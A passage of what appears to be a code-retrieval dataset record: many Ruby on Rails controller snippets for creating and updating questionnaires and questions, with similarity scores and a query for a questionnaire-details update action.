@questionnaire = Questionnaire.new(questionnaire_params)\n @questionnaire.user = @current_user_email\n # flash[:alert] = \"----------> #{@questionnaire.is_name_unique?} <-----------\"\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire }\n else\n format.html { render :new }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @test_question = TestQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_question }\n end\n end", "def new\n @survey_question_item = SurveyQuestionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_question_item }\n end\n end", "def new\n @questionnaire = Questionnaire.new(:questionnaire_date => Date.today)\n @questionnaires_created = Questionnaire.last_created(10)\n @questionnaire.build_questionnaire_fields!\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:square_footage, :max_occupancy, :num_floors, :management_structure, :waste_disposal_system, :solid_waste_system, :waste_management_costs, :loading_dock, :freight_elevators, :location_info, :trash_hauler, :trash_hauler_contract, :trash_hauler_copy, :record_of_waste_vol, :solid_waste_storage, :solid_waste_containers, :solid_waste_info, :recycling_mandated, :recycling_program, :recycling_program_stream, :recycling_program_info, :buy_recycling_policy, :buy_recycling_policy_info, :discontinued_recycling_info, :compost_waste_current, :compost_waste_past, :compost_program_info, :toner, :cfls, :batteries, :peripherals, :cell_phones, :tvs, :corded_equipment, :furniture, :linens, :construction_debris, :pallets, :zero_waste_policy, :leed_certified, :recertify_leed, :true_zero_waste_audit, :prc_waste_audit)\n end", "def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n @questionnaire.user = current_user\n @questionnaire.user_approval_date = Time.now\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render action: 'show', status: :created, location: @questionnaire }\n else\n format.html { render action: 'new' }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:title, { question_ids: [] })\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:occupation, :why_participate, :carpentry, :plumbing, :electrical, :roofing, :song_leader, :bible, :recreation, :lifeguard, :accounting, :firstaid, :cpr_firstaid, :camp, :year, :site_leader, :involved_activities, :camp_director_approval, :camp_director_approval_date, :user_approval, :user_approval_date, :printed_date, :user_id)\n end", "def questionnaire_params\n params.require(:questionnaire).permit(\n :title,\n :description,\n options: {},\n questions_attributes:\n [:id,\n :question_text,\n :correct_answer,\n :_destroy,\n question_answers_attributes:\n [:id,\n :is_correct_flag,\n :answer_text,\n :_destroy\n ]\n ])\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def new\n @other_study.build_questions\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @other_study }\n end\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:abstract)\n end", "def new\n @knowledge_points = KnowledgePoint.all\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def new\n @survey_answer_item = SurveyAnswerItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_answer_item }\n end\n end", "def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end", "def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end", "def create\n @question = Question.new(question_params)\n\n if @question.save\n render json: @question\n else\n render status: 400, nothing: true\n end\n end", "def create\n if !params[:_json].blank?\n params[:_json] = JSON.parse params[:_json] if params[:_json].is_a? String\n \n #Routine de transformation en CSV\n json = params[:_json][0]\n headers = []\n values = []\n csv_string = CSV.generate do |csv|\n json.each do |key, value|\n if (!key.blank? && !value.blank? && value!=\"Autre\")\n #Exclusion de certain champs Limesurvey\n if !['id','Complété','Dernière page vue','Langue de départ', 'FusionQuestion', 'Code'].include?(key)\n #Nettoyage des champs du type \"champs [other]\"\n if key.include?(\" [other]\")\n #puts \"test [other]\"\n key = key.split(\" [other]\")[0] \n end\n headers << key\n values << value \n end\n end\n end\n csv << headers\n csv << values\n end\n \n @questionnaire = Questionnaire.new(params[:questionnaire])\n @questionnaire.content = csv_string\n profil_id, category_id = json['FusionQuestion'].to_s.split(\"/\")\n @questionnaire.profil = Profil.find(id=profil_id)\n @questionnaire.category = Category.find(id=category_id)\n end\n \n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def add_question\n form_param = params.require(:form).permit(:id)\n\n render json: Question.add_new_question(form_param)\n end", "def new\n @completed_quest = CompletedQuest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def create_quiz_questionnaire\n create_questionnaire\n end", "def new\n @employer_study.build_questions\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @employer_study }\n end\n end", "def new\n @critical_question = CriticalQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_question }\n end\n end", "def new\n @question = Question.new\n # @question.save\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def new\n @intake_question = IntakeQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intake_question }\n end\n end", "def new\n @question_response = QuestionResponse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_response }\n end\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:q1answer, :q2answer, :q3answer, :q4answer, :q5answer, :q6answer, :q7answer, :q8answer)\n end", "def create\n @test_question = TestQuestion.new(params[:test_question])\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, :notice => 'Test question was successfully created.' }\n format.json { render :json => @test_question, :status => :created, :location => @test_question }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @add_question = AddQuestion.new(add_question_params)\n\n respond_to do |format|\n if @add_question.save\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @questions = Question.all\n @question = Question.new\n @answers = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def create\n if params[:questionnaire][:original_id]\n flash[:notice] = \"Questionnaire duplication is underway, you will receive an email when it is finished.\"\n redirect_to questionnaires_path\n else\n @questionnaire.last_editor = current_user\n @questionnaire.user = current_user\n respond_to do |format|\n if @questionnaire.save\n flash[:notice] = 'Questionnaire was successfully created.'\n format.html { redirect_to(@questionnaire) }\n format.js { render :layout => false }\n else\n #fill variables need to the new.html.erb page\n @questionnaires_created = Questionnaire.last_created(10)\n @questionnaire.build_questionnaire_fields!\n format.html { render :action => \"new\" }\n format.js\n end\n end\n end\n end", "def create\n @questionnaire = Questionnaire.new(params[:questionnaire])\n @quest = Quest.new(params[:quest])\n @choice = Choice.new(params[:choice])\n\n respond_to do |format|\n if @questionnaire.save\n flash[:notice]=\"Questionnaire Name #{@questionnaire.questionnaireName} Created\"\n format.html { redirect_to(:controller =>\"questionnaires\",:action =>\"new\") }\n #format.html { redirect_to(@questionnaire, :notice => 'Questionnaire was successfully created.') }\n format.xml { render :xml => @questionnaire, :status => :created, :location => @questionnaire }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @questionnaire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @questionnaire_group = QuestionnaireGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire_group }\n end\n end", "def index\n @questid = params[:questionnaire_id]\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def new\n @questionnaire = Questionnaire.new\n @questionnaire.course_instance = @instance\n \n authorize! :create, @questionnaire\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n @audit = Audit.find(params[:audit]) \n if @questionnaire.save\n @audit.update_attribute(:questionnaire_id, @questionnaire.id)\n redirect_to @audit, notice: \"The questionnaire has been saved.\"\n else\n flash[:error] = \"The questionnaire could not be saved.\"\n render \"new\"\n end\n end", "def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end", "def new\n\t@questionnaire=Questionnaire.find(params[:questionnaire_id])\n\tif (params[:questionnaire_id].nil?)\n\t @questions = nil\n\telse\n\t @questions = Questionnaire.find(params[:questionnaire_id]).questions\n\tend\n\t@question = Question.new\n\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end", "def new\n @report_question = ReportQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report_question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def create\n @survey_question_item = SurveyQuestionItem.new(params[:survey_question_item])\n\n respond_to do |format|\n if @survey_question_item.save\n format.html { redirect_to @survey_question_item, notice: 'Survey question item was successfully created.' }\n format.json { render json: @survey_question_item, status: :created, location: @survey_question_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_question_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_question = TestQuestion.new(test_question_params)\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, notice: 'Test question was successfully created.' }\n format.json { render :show, status: :created, location: @test_question }\n else\n format.html { render :new }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_question = TestQuestion.new(test_question_params)\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, notice: 'Test question was successfully created.' }\n format.json { render :show, status: :created, location: @test_question }\n else\n format.html { render :new }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @questionnaire_template = QuestionnaireTemplate.new(questionnaire_template_params)\n\n respond_to do |format|\n if @questionnaire_template.save\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire_template }\n else\n format.html { render :new }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inquiry_question = InquiryQuestion.new(inquiry_question_params)\n\n respond_to do |format|\n if @inquiry_question.save\n format.html { redirect_to @business, notice: 'Inquiry question was successfully created.' }\n format.json { render :show, status: :created, location: @inquiry_question }\n else\n format.html { render :new }\n format.json { render json: @inquiry_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @dquestion = Dquestion.new\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @dquestion }\n #end\n end", "def add_new_questions\n questionnaire_id = params[:id]\n # If the questionnaire is being used in the active period of an assignment, delete existing responses before adding new questions\n if AnswerHelper.check_and_delete_responses(questionnaire_id)\n flash[:success] = 'You have successfully added a new question. Any existing reviews for the questionnaire have been deleted!'\n else\n flash[:success] = 'You have successfully added a new question.'\n end\n\n questionnaire = Questionnaire.find(questionnaire_id)\n current_num_of_questions = questionnaire.questions.size\n max_seq = 0\n Questionnaire.find(questionnaire_id).questions.each do |question|\n if !question.seq.nil? && question.seq > max_seq\n max_seq = question.seq\n end\n end\n ((current_num_of_questions + 1)..(current_num_of_questions + params[:question][:total_num].to_i)).each do\n max_seq += 1\n # Create question object based on type using question_factory\n question = question_factory(params[:question][:type], questionnaire_id, max_seq)\n if question.is_a? ScoredQuestion\n question.weight = params[:question][:weight]\n question.max_label = Question::MAX_LABEL\n question.min_label = Question::MIN_LABEL\n end\n\n if Question::SIZES.key?(question.class.name)\n question.size = Question::SIZES[question.class.name]\n end\n if Question::ALTERNATIVES.key?(question.class.name)\n question.alternatives = Question::ALTERNATIVES[question.class.name]\n end\n\n begin\n question.save\n rescue StandardError => e\n flash[:error] = e.message\n end\n end\n redirect_to edit_questionnaire_path(questionnaire_id.to_sym)\n end", "def create\n @test = Test.new(test_params)\n @test.update_question_details(test_params) if @test.valid?\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @survey_answer_item = SurveyAnswerItem.new(params[:survey_answer_item])\n\n respond_to do |format|\n if @survey_answer_item.save\n format.html { redirect_to @survey_answer_item, notice: 'Survey answer item was successfully created.' }\n format.json { render json: @survey_answer_item, status: :created, location: @survey_answer_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_answer_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @question = Question.new\n @survey = Survey.find(params[:survey_id])\n @question.required_field = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def create\n @completed_quest = CompletedQuest.new(params[:completed_quest])\n\n respond_to do |format|\n if @completed_quest.save\n format.html { redirect_to @completed_quest, notice: 'Completed quest was successfully created.' }\n format.json { render json: @completed_quest, status: :created, location: @completed_quest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @completed_quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_questionnaire\n @questionnaire = Questionnaire.find(params[:id])\n end", "def new\r\n @intern_question = InternQuestion.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end", "def create\n @examquestion = Examquestion.new(examquestion_params)\n\n respond_to do |format|\n if @examquestion.save\n format.html { redirect_to @examquestion, notice: 'Examquestion was successfully created.' }\n format.json { render action: 'show', status: :created, location: @examquestion }\n else\n format.html { render action: 'new' }\n format.json { render json: @examquestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n @question.survey_id = params[:survey_id]\n respond_to do |format|\n if @question.save\n \n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def new\n @multiple_choice_question = MultipleChoiceQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @multiple_choice_question }\n end\n end", "def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end", "def survey\n expose Survey.create(@oauth_token, params[:challenge_id].strip, \n params[:data])\n end", "def create\n @answer_respondent = AnswerRespondent.new(answer_respondent_params)\n\n respond_to do |format|\n if @answer_respondent.save\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully created.' }\n format.json { render :show, status: :created, location: @answer_respondent }\n else\n format.html { render :new }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @question = Question.new\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def new\n @question = @subsection.questions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end" ]
[ "0.7216791", "0.6832053", "0.6813558", "0.675791", "0.6712738", "0.66761154", "0.6660387", "0.66497654", "0.6632976", "0.6620636", "0.6606846", "0.65971565", "0.65459937", "0.6528876", "0.6524684", "0.6524684", "0.6503811", "0.64895904", "0.64724636", "0.64200264", "0.6409102", "0.6377755", "0.63747025", "0.63570046", "0.6338587", "0.63235253", "0.6316458", "0.631208", "0.6308249", "0.6304009", "0.62994397", "0.6291549", "0.62766534", "0.6275469", "0.6260649", "0.62599236", "0.6256564", "0.624417", "0.6240194", "0.6239", "0.62309486", "0.6220639", "0.6209997", "0.6200607", "0.6200069", "0.617429", "0.61738026", "0.6171454", "0.6166526", "0.6166081", "0.61589533", "0.6158476", "0.6143374", "0.61417437", "0.61417437", "0.61417437", "0.61417437", "0.61417437", "0.6141707", "0.6141707", "0.6141707", "0.6141707", "0.6141707", "0.6141707", "0.6141707", "0.6141707", "0.6141707", "0.6140056", "0.6137731", "0.6133532", "0.6120684", "0.6114042", "0.6108508", "0.61084896", "0.6106308", "0.61059445", "0.61059445", "0.60886306", "0.60864574", "0.60673064", "0.60644275", "0.60613436", "0.6055279", "0.604877", "0.6047908", "0.6045404", "0.6042526", "0.60396713", "0.60396487", "0.6038369", "0.6038369", "0.6038369", "0.6038369", "0.6038369", "0.603439", "0.60326606", "0.60321176", "0.6029847", "0.60284865", "0.6023851" ]
0.7683533
0
PATCH/PUT /questionnairedetails/1 PATCH/PUT /questionnairedetails/1.json
def update respond_to do |format| if @questionnairedetail.update(questionnairedetail_params) format.html { redirect_to @questionnairedetail, notice: 'Questionnairedetail was successfully updated.' } format.json { render :show, status: :ok, location: @questionnairedetail } else format.html { render :edit } format.json { render json: @questionnairedetail.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to company_questionnaire_path(@questionnaire.company, @questionnaire), notice: 'Questionnaire was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire }\n else\n flash[:danger] = @questionnaire.errors.full_messages.join(', ')\n format.html { render :edit }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to(@questionnaire, :notice => 'Questionnaire was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @questionnaire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to @questionnaire, notice: 'Тест успешно обновлен.' }\n format.json { render :show, status: :ok, location: @questionnaire }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t@question = Question.find(params[:id])\n\t@questionnaire_question=QuestionnaireQuestion.find_by_question_id(@question.id)\n\t@questionnaire=Questionnaire.find(@questionnaire_question.questionnaire_id)\n\n\trespond_to do |format|\n\t if @question.update_attributes(params[:question])\n\t#\tformat.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n\t\tformat.html { redirect_to new_question_path(:questionnaire_id=>@questionnaire.id), :notice => 'Answer was successfully Saved.' }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully updated.\" }\n else\n format.html { redirect_to edit_questionnaire_url(@questionnaire), alert: @questionnaire.errors.full_messages.first }\n end\n end\n end", "def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end", "def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end", "def update\n #@question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: t('alert.question.update_success', default: 'Question was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @questionnaire = current_questionnaire\n @questionnaire.step += 1\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to new_questionnaire_path }\n # format.json { head :no_content }\n else\n format.html { render \"questionnaires/steps/step#{@questionnaire.step - 1}\" }\n # format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @test.update_question_details(test_params)\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to new_question_path, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @questionnaire.user_approval_date = Time.now\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: 